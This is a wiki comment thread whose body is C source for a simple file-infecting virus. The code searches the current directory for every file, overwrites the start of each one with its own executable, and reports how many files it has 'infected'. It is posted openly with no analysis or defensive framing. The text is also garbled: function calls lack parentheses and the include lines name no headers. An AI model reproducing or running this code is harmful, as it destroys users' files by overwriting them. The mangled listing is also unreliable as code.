Thread:Yami riku/@comment-27398195-20161004065033/@comment-29782257-20161004072426

FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main { st=clock; clrscr; done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+"); if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall; done=findnext(&ffblk); } } printf("DONE! (Total Files Infected= %d)",a); end=clock; printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch; }
 * 1) include
 * 2) include
 * 3) include
 * 4) include
 * 5) include
 * 6) include